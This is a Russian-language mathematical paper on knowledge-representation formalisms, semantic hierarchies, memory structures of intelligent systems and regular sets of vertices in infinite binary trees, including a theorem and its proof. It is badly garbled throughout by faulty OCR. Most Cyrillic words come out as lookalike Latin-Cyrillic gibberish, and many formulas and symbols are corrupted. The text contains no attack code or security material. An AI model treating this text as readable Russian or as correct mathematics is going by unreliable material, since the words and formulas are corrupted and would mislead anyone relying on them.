3HAaHUM, COCTABJSAIOLIMX MaMsATh KoMnoHeHToB MC,
SIBJSIFOTCSI DJIEMEHTAMM TaKOT'o yIpaBJeHUsI.

1. Dopmannambl NnpeacTaBreHNs 3HaHUN

dopmaau3MaMu TIpeacTaBIeHUS 3HAHWIN Ha3bI-
BaloTcs ueTBepku (M, Dy, o, <). 3aecs M (D)) —
aJITOPUTMUYECKHU MTEPEUNCTNMOE MHOKECTBO 3HAHU I
(MHOXeCTBO (pparMeHTOB 3HaHUU) U M paszpelmnumo
B D), MHoxecTBO M comepXUT MycToe 3HaHUE,
obo3HauaeMoe Kak A. Belumciumasi omepauus o:
Dy, xDy — D,,  Ha3bIBaeTcA KOMIIO3ULIUEH, a pa3-
pemrmmoe otHouieHue <c Dy, x D,;, — BIOXEHUEM
¢bparmenToB 3HaHuil. Cpenu (opMaau3MoB ocoboe
MOJIOXKEHUE 3aHUMAIOT (popMaIM3Mbl CEMaHTUUECKUX
uepapxuit [4]. OTnenbHbIe 3HAHUS B TaKUX (hOpMain3-
Max HasbIBaloTcs KOoHpurypauusmu. Beskuit popma-
JIN3M CEMaHTUUYECKUX Mepapxuil BKIoUaeT Nepeync-
JIMMbIEe MHOXeCTBa KoHurypauuit (M) u pa3peliuMbix
OMHApHbBIX OTHOIIEHUI MexXay KoHpurypauusmu (R).
Knacc 3HaHmii Bcsikoro popmMainzma ceMaHTUUECKUX
uepapxuii cocrapisieT MHOXecTBO M U R. CTpyKTy-
pbl KoOHGUTrypauuil hopmanusMa ONpeaeasitoT Bbi-
YHUCJIUMMbIE OTOOpaXXeHU ST Pa3IOKEHUS U CBSI3bIBAHU S
koHburypauuit e : M > M xM un y: M — R. Eciu
e(z) =(A, A), To z € M Ha3zbIBaeTCs 3JIeMEHTapHOM
xoHdurypauueit. Ecniu &(z) = (g, 2,), rae gy U 5 —
aJIeMeHTapHble KOH(MUTYpaLIMK, TO Z Ha3bIBaeTCs MPO-
CTOW KOH(puUrypauueit. MHOXECTBO 3JIEMEHTaApHbIX
KoH(pUrypanuii o6ozHavaercs kak M. Ecamn z e M,
&(z) # (A, A) n &(z) =(z, 2,), TO CTPYKTYpY Z cO-
CTaBJISIIOT KOHPUTYPALUU Z; U 2. B 2 € M 5TU KOH-
¢urypanuu cBs3biBaeT OTHOLIEHUE y(Z) € R.

@parMeHTaM¥ 3HaHUM SIBJISIIOTCS CYIITHOCTH, TIPH-
MEHsIEMbIe JJISI KOHCTPYUPOBAHUS KOHMPUTYpalUii
13 KOH(pUTypaluuii ¢ TOMOIIbI0O OMHAPHON OIepalun
kommo3uuuu ©. Ecnm &(z) = (g4, z,) ¥ w(z) =7, TO
KOHCTPYMPOBAHUE Z C MOMOIIbIO © BBIMOJHSIETCS
B aBa sTana. CHayana (popMUPYETCS KOMIIO3ULIM S
Z, o ¥, KOTOpasg MPUMEHSETCS JJI1 KOMIIO3UILIAU C 2,
B BULE (g, °F)o 2.
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2. HavyanbHble MHBapuaHTbI
CTPYKTYp NamMATU U 3HAHUN

YHuBepcaabHOE MHOXECTBO BEPLLIMH, TPUMEHSIEMOE
J7151 GOPMUPOBAHUS CTPYKTYPHBIX IIPEACTABICHU I 3HA-
HU#l B MPOU3BOJLHBIX (hOpMaTU3MaxX CEMaHTUUYECKUX
vepapxuil, cocTaBisieT OECKOHEUYHOE HAChIlLIEeHHOE OU-
HapHOE JIEPEBO C MTPaBbIM U JIEBLIM MIOTOMKAMU Y Kax A0
BepIIMHBI. Takue BepIIMHbBI IPEACTABISIOTCS KOHEUHbI-
MU JTBOMYHBIMH TTOCJIEAOBATEILHOCTIMU. MHOXECTBO
TaKUX TMocJienoBareibHocTel (/) BKIIoUaeT MmycToil Habop
(V). CooTBeTcTBME HAOOPOB BEPLIMHAM JIepeBa YCTaHAB-
JIMBAIOT MPOCThIe TTpaBuia. KopHIo nepeBa COOTBETCTBY-
€T TyCTOM ABOMYHBIN Habop A. Eciau BbIOpaHHOI Bep-
LLIMHE JIepeBa COOTBETCTBYET o, € I, TO JIEBbIiA U MpaBbIit
MMOTOMKU BEPLIMHBI 0. COOTBETCTBYIOT HabopaM a0 u al.

TTonHoe cTtpyktypHoe npenctaiaeHue (ITCIT) or-
JeJIbHOrO 3HaHUS B (hopMain3Me CEMaHTUYECKUX Ue-
papxuii 3aJaeTcsl KOMITO3UIIMEN 2/IeMeHTapHbIX 3HAHU I
¢dopmanuzMa, coctapistolleit 3to 3Hanue [1]. s naH-
HOro (popMaim3Ma 0OecCleurnBaeTCsI eNMHCTBEHHOCTh
KOMITO3UIIMU, TIPENCTaBIISIONICH MTPOU3BOJIbHOE HEMy-
cToe 3HaHue (KoHpurypauuio). Kaxgoe takoe mpen-
CTaBJICHWE MMeEeT BUI Harpy>KeHHOTO OMHAPHOTO JiepeBa.
BHyTpeHHUM BepIIMHAM 3TOTO JIepeBa MPUITHCHIBACT-
cs ornepanusl KOMNO3ULIMU (HParMeHTOB 3HAHUU © .
Bucstune BepIIMHBI BCIKOTO IepeBa pa3MevaroTcs dJie-
MEHTapHbIMU 3HaHUSAMU. {151 hopManin3MoOB CeMaHTU-
YECKUX MUepapXuil ymoOHO UCIOJIb30BaTh COOCTBEHHbI I
dopmat INCII 3HaHu# (KOHGUTYpaLil) HATPYKEHHbI-
MU OMHapHBIMU AepeBbsIMU. OH olpeaensieTcss oToopa-
SKEHUSIMU Pa3JIOKEHUSI U CBSI3BIBAaHNST KOH(UTYpaIIHii.
Bucsuue BepllMHbBI TaKKX IEPEBbEB pa3MeUeHbI DJIEMEH-
TapHBIMHM KOHGUTYypauusMu. BHyTpeHHUE BepIIMHBI
pa3MedeHbl OTHOIIIEHUSIMHY, BEITIOTHSIIOITUMUCS MEXITY
KOHMUTYpalUsSIMU, TIPEACTaBISIEMbIMU JIEBBIM U Tpa-
BBIM TIOAJEPEBbSIMU TAKUX BEPILIMH.

Hns TICIT xoHpurypauuii OyaeM MCIIOIb30BaTh
cnelnuagbHble 0003HAYEHUS AJIT aTpUOyTOB TaKuX
cTpykTyp. Ecniu ze M, 1o IICII z o6o3HauaeTcs
Kak X(z). Takas cTpyKTypa e1MHCTBEHHAas A KaX-
noii HeaneMeHTapHo! 7 € M. O6o3HaueHust M; n %,
(i=0,1, ..) npuMeHsI0TCS IJiI MHOXECTB KOH(PU-
rypauuit (IICII xondurypauuii), npeacTaBiasieMbIX
JepeBbsIMU TJIYOUHBI i. MHOXECTBO BEPIIUH (BUCSIUMX
BepwinH) T1CIT z o603Havaetcs kak D(z) (0O(z)). Paz-
MeTka a € D(z) TICII z o6o3navaercs kKak [z],. Bbl-
paxeHue (7), 0003HaYaeT KOHPUTypaUuIo, peacTa-

BUMYIO MTOLAEPEBOM JepeBa 2.(z) ¢ KopHeM a € D(z).

3. CTpyKTYypbl NAaMATU U AOMeHbl MOp¢U3IMOB
B hopmanuamax sHaHUM

MHoxecTBO /¥ cCBSI3aHHasI C HUM CTPYKTypa 0ecKo-
HEYHOTo OMHAPHOTIO IepeBa MPeacTaBIsIIOT yA0OHbIi

o0 M yHU(ULIMPOBAHHBIN (hopMaT MOJAETUPOBAHUS
CTPYKTYp naMsTh KoMnoHeHToB MC, umeroniuit pas-
HooOpa3Hble npuaoxeHus. Kax bt komnoHeHT MC
HCIOJIb3yeT COOCTBEHHBIN (popManu3M TpencTaBe-
HUSI 3HaHU (moaXonsiiuii hopMaau3M ceMaHTUYE-
ckux uepapxuit). ComepXaHue MaMsITU KOMITOHEHTA
Ha pa3HbIX 3Tanax cyuiectBoBaHus MC cocraBasiior
3HAHUS B TpUMEHsIeMOM (popmain3Me. 3HaHUE Z pas3-
MelllaeTcsl B CTPYKTYPE MaMsSTU KOMIIOHEHTa B (op-
me ouHapHoro aepea IICII kongurypauuu. Kopuem
pasmeuieHus [CIT HazHauaeTcst HEKOTOpasl BeplirHa
namMsaTh KoMmoHeHTa. Ilpsmas cymma IICIT kondmn-
rypamnmii, OITHOBPEMEHHO pa3MEIIEHHBIX B MaMSITH
KOMITOHEHTa, COCTaBJIIET UHTETPUPOBAHHOE COAEP-
>)KaHWe 3TOW MaMsITU B 3aJJaHHBI MOMEHT BpEeMEHH.

MHoroo6pa3ue neicTBUi, UCTIOJb3yeMoe IS
MOJENMPOBaHUS peanusanuil ueneit u 3agau UC,
CBSI3aHO ¢ Mopdu3smMaMu ob6paboTku 3HaHUU. O6-
pabaTbiBaeMble 3HAHU S pa3MellaloTCs B HECKOJIbKUX
obnactax namsatu MUC. CTpyKTypbl OTASAbHBIX 00J1a-
CTeil COOTBETCTBYIOT JOMEHAM MOP(HU3MOB 00PabOTKU
3HAHUU, pa3MelllaeMbiX B TaKKUX oonacTsix. CeMeincTBO
MOp®dU3MOB GOPMUPYETCS NIPU Pa3BUTUM MTPEICTaBIIE-
HUH 0 CTPYKTypax MaMsITH 1 IIPoIeccax MBIIIJIEHNU S,
aJalnTUPOBAHHBIX K ajiredpanyeckuMm, JOTUYECKUM,
TOIOJOTMYECKMM MHBapUaHTaM MOJEJIel pa3IMyHbIX
oOJjlacTeil MaTeMaTUKU, MHBapuMaHTaM IPyrux oobJa-
CTell 3HaHM . DMITMPUYECKU Pa3BUBaeMOe CeMeNCTBO
JIOMEHOB MOPGhY3MOB 3HAHU I CBSI3aHO C OIEpalUsIMU,
MPUMEHSIEMBIMU [JISI peaiu3aliu MPOILEeCcCOB KOH-
cTpyupoBaHus (cMHTe3a) 3HaHui. IIpolecc cuHTEe3a
OCHOBAH Ha 3HAHMUSIX, COCTABJSIOLIMX MpeACTaBIeHUE
coiepxXaHusl 00JacTH 3HAHUU 1 HavyaJbHbIe TaHHBIE
mpoiiecca B 3alaHHOM (opMan3Me MpeacTaBICHMs
3HaHU. YHUGDULUMPOBAHHBIU (hopMarT MpeacTaBaeHU S
colepxXaHus obJjlacTeil 3HaHMIT 0Opa3yloT cemMeiicTBa
BJIEMEHTApHBIX M TPOCTHIX 3HAHUI B NPUMEHSIEMOM
¢opmanmame. Takue ceMeicTBa SIBISIOTCS aHaJIoraMu
OHTOJIOTU A, COCTaBJEHHBIX MOAMHOXECTBAMHU KJIACCOB
3JIEMEHTAapHBIX 3HAHUM (MHAWBUIYAJIOB) U MPOCTHIX
3HAHUU (CBSI3el MEXAY MHAMBUYaJaMHU).

ITpoliecc KOHCTPYUpPOBaHUSI 3HAHUI U3 BJIEMEH-
TOB MpEICTaBIeHUS coAepKaHUsl 00JacTU 3HAHUU
(oHTOJIOrM M) Ha3biBaeTcsl CMHTe30M. OH OCHOBaAH Ha
KOHCTPYUMPOBaHUM U TpaHChOpMaALIUU CTPYKTYP 3Ha-
HUU U3 3JIEMEHTOB OHTOJIornuu. Onepauuu, UCIOb-
3yeMble IpoleccaMu CHHTEe3a, BKIIOYAIOT pa3iny-
HBIE CTPYKTYpPHBIE, aJlireOpandecKrue U JOTUYECKHE
npeodpaszoBaHud. IIpuMepaMu TOMEeHOB onepaluid
HaJ 3HAHUSIMU SIBJISIOTCSI OKPECTHOCTU U CEPUM 3HA-
Huil [1]. OKpecTHOCTU 3HAHUU MpencTaBasSioT (par-
MEHTBl OHTOJoruu. OHU coaepxXaT 3JEMEHTapHbIE
3HaHUS, KOTOPbIE CBSI3aHbI ¢ 3aJaHHBIMU 3HAHUSIMU
MMPOU3BeACHUSIMU OTHOIIeHu . Cepuu 3HaHUM pop-
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MUPYIOTCS M3 (DparMeHTOB OHTOJIOTHH, N3BIeKAEeMBIX
C MOMOIIBIO TTOAXOMSIIUX MPEAUKATOB (KPUTEPHUEB).
CTpyKTypHBIe TpaHC(HOpPMallMU 3HAHUI MOIEIUPY-
I0TCS oTepalusIMy BCTaBKU, yaajeHus, MepecTaHOB-
KM 1 3aMeHbl (parMeHTOB 3HAaHUM. Anredpanyeckue
U JIOTUYecKue TpaHCGhOPMallMK BBITIOJIHSIOT 3aMEHY
3JIEMEHTOB HAaYaJIbHBIX JaHHBIX aJreopandeckux (Jio-
TMYECKMX) ONepanii (IMMpaBuJI BEIBOAA) HA PEe3yJIBTATHI
NpUMeHeHUs Takux onepauuii (mpasun) [1]. Cepusmu
MOJEIUPYIOTCS Mpolecchl 00padoTku 3HaHuii B YIC,
npeacTaBisieMble TOCIEI0BAaTEbHOCTIMU 3HAHUM,
(hopMupyeMbIX Ha pa3HbIX 1Iarax (3Tamnax) Mpoieccos.

4. PerynsipHble BblpaXxeHus
M MHOXecTBa BepLuuH namaTtu UC

OnpexaeneHue 10MEHOB MOP(PU3MOB KaK aJropuT-
MUYECKH MepeuyrcCIUMOro ceMeicTBa MmepedyucaInMbIX
MHOXEeCTB KOH(PUTYpaInii, 3aMKHYTOTO OTHOCHUTEb-
HO onepauuil mpsMoii cyMMbI (@) ¥ Mpou3BeneHUs
(®) moMeHOB, ABJIAETCA OOLIMM U aOCTPAKTHBIM [2].
OHo dopMUpyeT MHOI00Opa3ue JOMEHOB MOP(HU3MOB
npeacTaBleHUM 3HaHUI (KOH(Urypamnuii), odecme-
YHUBaloOIIee MOIEINPOBaHNE ceMelicTBa OOIIMX Kac-
COB KOHGUTypaluii, 00padbaTbiBaeMbIX ONepalusiMu
pa3HbIX TUIOB. PaccMOTpUM CyXeHue 3TOr0 MHOro-
0o0pa3us Ha CEeMEMCTBO CTPYKTYp, 00OO0IIAIOIINX Ce-
MEMUCTBO JTOMEHOB MOpP(PU3MOB, pa3pabOTaHHBIX AJIS
MOJIEMPOBAHU S TPEOOPa30BaHMit U TPOLIECCOB 0Opa-
OOTKM aOCTpaKTHBIX 3HAHU I, aAANTUPYIOIIUX YHK-
LIMOHAJbHBIE CYLIHOCTU M3 pas3HbIX objacTeil MaTe-
MaTuku. CeMeincTBO BKJIIOUYAET MPUBEACHHbIE paHee
BUABI JOMEHOB oIlepaliiii B ¢popMaan3Max 3HaAHUI.
YHupuuupoBaHHbBIE OITMCAHMUS JOMEHOB OCHOBaHEI Ha
MHOXKECTBAaX BEPIIMH OMHAPHBIX JEPEBbEB, OIpee-
JISIEMBIX C TIOMOIIIBIO PETYJISIPHBIX BeIpaxkeHUH. Takue
BEPLIMHBI MPUMEHSI0TCS B KauecTBe auctheB TTCII
CeMaHTUYECKMX MepapXUuil, MpuHaIIexXalux 10Me-
HaMm. KJtacc peryasipHbIX BbIpakKeHU I 1151 MHOXECTBa
JBOMYHBIX HAOOPOB OMPENESIIOT CACAYIOLINE TPaBUIa;

1) 3anuck Bcsikoro Habopa o € [ sIBAsIETCSl pery-
JISIDHBIM BbIpaXk€HUEM;

2) ecnu E| n E, ABASAIOTCS PEryNASIPHBIMU BbIpake-
HUSIMU, TO 3aI1UCh (E1 U E,) aBnsercs peryispHbIM
BBIpaXKEHUEM,;

3) ecnu E| u E, ABASIIOTCS PETYJISIPHBIMU BbIpaKe-
HUSIMU, TO 3anuch (E,)o(E,) sABISeTCS peryispHbIM
BBIpaKEHUEM,;

4) ecnu E gaBusieTcsl peTyJasipHbIM BbIpakeHUEM,
TO 3anuch (E)* siBiisieTcs: peryjasipHbIM BbIpakeHUEM.

Hukakue apyrue 3anucu He SIBJISIIOTCS peryjsip-
HBIMU BBEIpaXXEHUSIMMU.

IIpuBeneHHbIe COOTHOLIEHUSI COOTBETCTBYIOT 00-
LIEMY OIpeaeIeHUIO peryJsipHOro BeipaxkeHus. Takue
BBIPaXeHMSI SIBJSIOTCSI OCHOBOI KOHCTPYMPOBaHMS

KJIACCOB PETYJSIpHBIX 00JlacTeil MaMsITU U peryasp-
HbIX ToMeHOoB onepauuit B UC. 3agaHHbIe CXeMbl KOH-
CTPYMPOBAHUS PETYISIPHBIX BBIPAXKEHU I HA3bIBAIOTCS
3aMKChIO BJIEMEHTAPHOIO BhIpaXkKeH s, 00beIMHEHUEM
1 KOMIIO3ULIMEN PErysipHbIX BbIpaXXeHUI, a TaKxke
uTepalyreil peryJsipHOTO BbIpakeHHUs.

Bcsikomy peryisipHOMY BbIpaxeHu1o E COOTBeET-
CTBYeT HenmycToe MHOXeCTBO U(FE) IBOMYHBIX HAOOPOB,
npenctaBiasgeMbix F. Takue MHOXeCTBa YTOUHSIIOTCS
oTaenbHo A5 npaBui 1—4. Eciu E= o, To U(E) = {a}.
Ecnu E=(E VE,), 1o U(E)=U(E)VU(E,).
Ecnu E| n E, — perynspHble BEIpaxeHUs, T0 E, o F,
(E|E,) npencraBisieT MHOXECTBO TBOMYHBIX HA0O-
pos {oyo,|a, €U (E)&a, eU(E,)}. Haxoweun,
nst BelpaxeHust (E)* cnpaBediMBO COOTHOLIEHUE
U((E)*)=U(E))*. BoipaxeHnue (F)* npeactaBisier
MHOXECTBO HabOpOB, SBJSIONIUXCS CIEIIJIEHUSIMU
KOHEYHBIX MOCJeIoBaTeIbHOCTEN 3eMeHTOoB U(E).
st o6beAMHEHU I peryasipHbIX BbIPAXKEHU A BBIITO-
HSIIOTCSI COOTHOLLEHUSI aCCOLIUAaTUBHOCTA U KOMMY-
TaTUBHOCTH:

((E, VE,))UE;)=(E V(E, VE;)) u

(E,VE)=(E,UE).

[ToaToMy B 3amucsiXx OOBEINHEHUN PETYJISIPHBIX
BBIPAKEHU1 BHYTPEHHUE CKOOKM MOXHO OIyCKaTh.
Jlns pacCMOTPEHHOTO paHee MpuMepa 3amuch pery-
JSIpHOTO BhIpaxkeHust umeet sun (£, U E, U Ej).

JlomonHuTeNbHBIE (HOPMATBI 3aITUCH PETYIISIPHBIX
BBIPAXKEHUI CBSI3aHbI C KOMOMHALMSIMU MpaBua 1—4.
Hanpumep, o60o3Hauenne E, © E, COOTBETCTBYET BbI-
paxenuio (0E, U1E, UL). 115 mocnenHero BpIpaxe-
HUsI CIIPaBEAJIMBO COOTHOLICHHUE

U(E ®E,)={0a|aecU(E)}u{la]acU(E)}ur.

ITosTomy, ecnu E| u F, npeacTaBisitoT MHOXECTBA
BEPIUMH KOHPUTYpaUnii 7, U 25, To E; ® F, nipencras-
JISIET MHOXECTBO BEPIIMH CYMMBI 7; @ z,. CylecTBo-
BaHWeE MOAXOASIUNX BbIpaxeHuil E; u E,, 1is TI00bIX
2y, 3 € M crnenyeT U3 CIeLyIOLIETO YTBEPXKACHUS.

s n11060ro0 KOHEUHOT0 HEIMYyCTOro MHOXeCTBa
Bc I (D(z)) cyuecTByeT peryjisipHOe BbIpaxeHue,
npeacTasiasioniee B.

IMycts B={oy, .., 04} (D) =A{ay, ..., az}) —
HemycToe ImoaMHoXecTBo MHoxecTtBa I. Tor-
Ja B npencTtaBisieTcsi peryasipHbIM BbIpaXXeHUeM
(o Uy Uay).

MHoxecTBo B < I Ha3bIBaeTcCs peryJisipHbIM MHO-
XKECTBOM BEpIINH 0€CKOHEUHOTO OMHApPHOIO JIepeBa,
€CJIM CYLIEeCTBYeT TaKoe peryJsipHoe BbipaxxkeHue FE,
yto U(F) = B. PerynsipHble MHOXeCTBa BEPIIUH CO-
CTaBJISIOT AJITOPUTMUYECKH TIEPEUNCINMBIE U pa3pe-
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IIMMBbIe 001acTy MHOXecTBa I. MHOXeCTBO [ IBIISIETCSI
peryasipHbIM, TIockoIbKy [ = U ((0 U1 U A)*). Tlycroe
MHOXECTBO JBOMYHBIX HAOOPOB HE MpPEeACTaBISETCS
PETYISIPHBIM BBIpaXXKEHUEM M TaKKe CUMTAETCH pery-
napHbeIM. Teopema C. KnnHu 006 3KBUBaJICHTHOCTU
ABTOMATHBIX MHOXECTB CJIOB M PETYJISIPHBIX MHOXE-
CTBaX CJIOB ITO3BOJISIET IIPUMEHSITh e TEPMUHUPOBAH-
HbIe KOHEYHBIC aBTOMATHI [IJIST UCCIIEIOBAHUS CBOMCTB
peryasipHbIX MHOXECTB BepIIUH O0€CKOHEYHOI0 MOoJI-
HOro OMHApPHOTO JepeBa U KOHCTPYUPOBAHUS TaKUX
MHOXECTB C 3aJJaHHBIMUA CBOMCTBAMMU.

Eciu E — perynspHoe BhIpaXeHUe, TO MHOXe-
ctBa U(E) MOXeET 0Ka3zaThCd HEJOCTATOYHO AJIS TOTO,
YTOOBI U3 BJIEMEHTOB 3TOr0 MHOXKECTBA MOXHO OBLIO
cocTaBisATh MHOXecTBa BepliuH TICIT KoHpurypa-
uuii. Hampumep, peryinsipHoe BbipaxeHue E = (0)*
MNpeAcTaBasIeT MHOXECTBO BEPIIMH, COCTABISIOLINX
OECKOHEUHYIO JIEBYIO BETBh OMHAPHOTO AepeBa C Bep-
murHaMu 13 I, HaumHaoylocsd B BepmuHe 0. Bep-
LIIMH 3TOI BETBU HEAOCTATOYHO AJSI DOPMUPOBAHU S
CTPYKTYpPbl KaKOU-11060 KOH(PpUTYpallu.

YTOYHUM pacIIUpeHHns PeryasIpHBIX MHOXECTB
BEpIIUH B [ 1O MHOXECTB, U3 3JIEMEHTOB KOTOPBIX
MOXHO KOHCTpyupoBaTh MHOXecTBa BepiuuH IICII
CEMaHTUYCCKHNX MepPapXHii, KOTOPbIE COCTABIISIIOT
peryjsipHble 1OMeHbI MOP(H3MOB.

Onpedenenue. 3aMbiKaHnueM B < I Ha3bIBaeTcs
MHOXECTBO:

[Bl=1{B|pel&IoecBPca).

31ech BeIpaXeHue < o O3HayaeT, 4yTo Habop B
SBJIsIeTCS HayaJloM Habopa o. B yacTHOCTH, 181 Kax-
moi z € M copaBeniauBo cooTHoueHue [0O(z)] = D(z).

Teopema 1. J111s1 BCSIKOTO PEryJIsipHOTO BbIpaxkeHU s
E cyliiecTByeT Takoe peryasipHoe BbipaxkeHue E’, 4To
[U(E)]=U(E).

Hoxazameavcmeo. CipaBellIMBOCTh NOKa3bIBae-
MOTO YTBEpXACHHS CBSI3aHA C OTPAaHWYEHHOCTHIO
JUIMHBI 3alIUCU BCSIKOTO PEryJsipHOTO BbIpakeHMS.
JLJ1st TpOU3BOJILHOTO BhIpaxkeHUusi £ MMeeT MeCcTO OAuH
us cayuaes: £ =o,..0,, E=(E,UE,)), E=EcE, n
E = (E))*. Onpenenum orneparop §, Opeodpa3yoiunit

F B moaxonsiee BoIpaxeHus E'.

Ecnn E =oc,..04, TO MOJNOXUM
S(F) = (k U o) 0§ (0,..0¢ )) HeTpyaHo mpoBepHUTH,
yT0o F(E)=(AUo,Uoo,U...UG...0;). To ecThb
U(E') = U (3(E)).

Ecaum E=(E,UE,), To TNONOXUM
S(E) = (3(E) U F(E,)). To ects U(F(E)) ompene-
JIsieTCa KakK MHOXECTBO JBOMYHBIX HAOOPOB, Mpea-
CTaBJISIEMBIX BbIpaxeHUsMu E| n E,, a Takxe Bcex
HayaJl TaKMX HaOOpOB.

Ilycts E = E, o F,. MHOXECTBO HayaJjl ABOUYHBIX
HabopoB, NpeACTaBIIsIeMbIX F, COCTaB/ISIOT Hayajla Ha-
00poB, pencTaBageMbIX |, a TAKXE BCEBO3MOXHBIE
Habopel, HAYMHatouecs ¢ Habopa u3 U(E)) u mpo-
JOJIKaeMbIX HAbOpaMU U3 §F (E2 ) To ecTs, A5 B pac-
cmarpusaemoro citydast F(E) = (A, F(E,), E, o §(E,)).

Paccmotpum ciyuait (E = (E))*). Havanamu Ha-
6opoB u3 U(E) gaBasitoTcsi HAOOPbI, HAUMHAIOIIUECS
C HEKOTOPOH (BO3MOXHO MYCTOM) MOCaeA0BaTEIbHO-
ctu HabopoB u3 U(E) u npogosxarolieiics HayaaoM
HekoToporo Habopa u3 U(F). MHoxXecTBO HAOOpOB
C 3aJJaHHbIMU CBOMCTBaMU MPENCTABIISIETCSI BbIpaXe-
HueMm (A E)*F(E)).

INpuBeneHHBIC TIpaBUJa TTO3BOJISIOT 3aMEHUTH 3a-
JlaHHOE peryJjsipHoe BbipaxkeHue E Ha BbIpaxkeHue,
MpeacTaBsiollee MHOXeCcTBO HabopoB [U(F)]. TIpo-
liecc MOCTpOoeHU s BeipaxXeHus F(FE) 3aBepuiaeTcs 3a
KOHEUHOE€ YMCJIO 111aroB, MOCKOJIbKY JJIUHBI 3amuceit
BbIPaXX€HU M, IJIs1 KOTOPBIX MpPearnoaraeTcs J0MOJHU-
TeJIbHOE YTOUYHEHHE 3HAaYeHU S onepaTopa §, YMEHb-
watores. Jdokazamenbcmeo 0KOHUEHO.

OOLIMMU CBOMCTBAMU MHOXECTB JBOMYHBIX Ha-
0OpPOB, MPEACTaBASIEMbIX PETYISIPHBIMU BbIPaKEHU -
MM, SBJISIOTCS UX aJITOPUTMHUIECKAST TIePEIUCTUMOCTD
M pa3peliuMocCTh B 1.

Onpenenum creluanbHylo Mpolenypy nepecyera
2JIEMEHTOB TaKMX MHOXeCTB. IlycTb E — peryisipHoe
BeIpazkeHue. JIJ1s1 nmepecuera aneMmeHToB U(E) mpuMme-
HUM KOHCTPYKILIHMIO KOpHeBoro aepeBa T(F). Cxema
rnepecuyera HabOpOB OCHOBaHA Ha PEKypPCUBHOM 00-
pabotke 3anucu BeipaxkeHus1 E. EMy cooTBeTCTByeT
ONWH U3 CJy4yaeB OMNpelesIeHUsI PeTryJsipHOro BbIpa-
xeuust E =(o..0,), E=(E,UE,)), E=E°E, n
E =(E)*.

PasmeTtkoit kopHs aepeBa T(F) B KaxKJI0M U3 MpU-
BeJEHHBIX ciayyaeB siBiasieTcs: E. B mepBom ciyuae
KopeHb T(E) pa3meyeH HabOpoM o,...c,. Takas pa3-
MeTKa O0BABIISICTCS 3aKI0UnTeNbHON I1sd T(F). s
cayvast E =(E, U E,) xopenp T(E) umeeT aBa IO-
TOMKa (JIEBbIM Y TpaBblil). DTU BePIIMHBI SBISIOTCS
KOpHAMU nepeBbeB T(E;) m T(E,). Ecam pazmerka
HEKOTOPOM BEePIIMHBI 3THUX JAEPEeBbeB O0bsSIBIEHA 3a-
KJIIOYUTEIbHOUN B TAKOM JepeBe, TO OHA OObSIBISIETCS
3aKJuYuTebHON i T(E).

Ecnin E = E| o E,, TO KOPEHDb AcpeBa UMEET OIHY
BEPUIMHY MOTOMKA. DTa BeplIMHA SIBISETCS KOPHEM
nepesa T(£;). Ecau pazMeTKa oo HEKOTOPOI BEPLUIMHBI
9Toro aepena B T(F) oO0bsiBIeHA 3aKJIIOUUTEIbHOU
g T(E)), To B aepeBe T(E) 3Ta BepLIMHA UMEET TMO-
toMka. [locnennuit siBnsieTcst KopHeM aepeBa T(E,).
Bcesikuit Habop B, 0OBIBAEHHBIN 3aKJIIOUYMTENbHBIM
B IepeBe ¢ KopHeM T (E,), ABaseTcs 3aKII0YUTETTBHBIM
u B aepese T(E). DTo Habop umeeT BUI off, TOE o —
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Habop, OOBSIBICHHBIN 3aKJIIOUUTEIbHBIM JIs1 AepeBa
%(E,) B BeplUMHE, NPEIIIECTBYIOLIENH KOPHIO paccMa-
TPUBAEMOTO BXOXIEeHUA nepeBa T(E,) B T(E).

B mocnennem cinywae (E =(E))*) nepeBo T(E)
KOHCTPYUPYETCSl TaK, YTOObI 3aKJIIOUMTEJbHbIE Ha-
OOpBI 1S 3TOTO AepeBa GPOpMUPOBAIUCH KAK KOHEY-
HBIE TocyenoBaTeabHOCTH cioB U3 U(E|). KopeHb
nepeBa T(E) pasMmeueH BboIpaxkeHueM E. DTOT KOpeHb
“MeeT ONHY BEpIIMHY MOTOMKa, KOTopasi pa3MeueHa
BbIpaxeHueM E,. JlaHHas BeplIMHAa SBISIETCSI KODHEM
nepesa T(E,). Bcakuit Habop, 0OBSIBIEHHBIN 3aKITI0-
YUTEJbHBIM JUUISI HEKOTOPOI BEPIIMHBI paccMaTpuBa-
€MOoro epeBa g( El) 00BIABIIIETCS 3aKIJIIOUNTETBHBIM
s T(F). B T(F) BepuinHa, o0ObsBJAEHHAs 3aKJII0-
YUTEJbHON, MOJy4YaeT HOMOJHUTEIBHOTO MOTOMKA,
pa3Me4YeHHOro BbIpaxeHueM E;. DTOT MOTOMOK SIBJSI-
eTCs KOPHEM ellue OOHOro BxoxaeHnus T(E)) B T(E).

Ecnu pa3metka B € I HekoTopoii BepuunHbI S(E))
00DBSABIISIETCS 3aKJIIOYUTEbHON, TO BXOXIEHUE 3TOM
BeplIMHbI B T(E) pazMeuvaercss HabopoM off € U(E)
U 9Ta pa3MeTKa OObIBISIETCS 3aKTIOUUTEIbHON. 31eCh
o € I — 9T0 pa3MmeTKa, oObsIBJACHHAS 3aKJIIOYUTEb-
HOM JIJ14 BEPILIMHBI IPpeAKa KOPHEBOM BEPILUMUHBI pac-
CMaTpPUBAEeMOro BXOXIAeHUA aepeBa T(E) B T(E).
B nepese T(E) BeplmivHa v UMEET OIHOIO MOTOMKA.
IMocnenHss BepliMHa pa3MeyeHa BbipaxeHuem E;
U SABIISIETCS KOPHEM CJIEIYIOIIETO BXOXIECHU S IepeBa
T(E,) B T(E). Ecnm HekoTOpas BEpIIMHA V' 3TOTO
BXOXJIEHMS pa3zmedeHa HabopoM v € U(FE), KOTOpbIi
OODBSABJECH 3aKJIOUMUTEJIbHBIM B 3TOM BXOXICHUU
T(E,) B ¥(E), To 3Ta BeplIMHA pazMedaeTcsd Habo-
poMm ofy e U(E), KOTOPBIN OOBSIBISETCS 3aKJIIOUU-
TeJbHBIM 1151 T(E).

IIpouecc koHcTpyupoBaHus T(E) nag paccma-
TPUBAEMOro ciyyJas siBJisieTcsl 0eCKOHEUHbIM. Besakuii
pa3, Kkorna B HekoTopoe BxoxjaeHue T(E,) B T(E) no-
OaBJsieTCs BEPLIMHA, JI1 KOTOPO HeKoTopoe B e [
O0BABJISIETCS 3aKJIIOUUTEIbHBIM B 3TOM JepeBe, Ta-
Kas BeplIMHa pazMeydaeTcs HabopoM a, ..o, B € U(E),
k >0, KOTOpbIil 0OBSBASETCS 3aKTIOUMUTEIbHBIM B
T(E). 3mechb ..., — HaO0p U3 U(E), 0OOBABIECHHBIN
3aKJIIOYUTENbHBIM A1 T(F) B BeplUIMHE — Mpel-
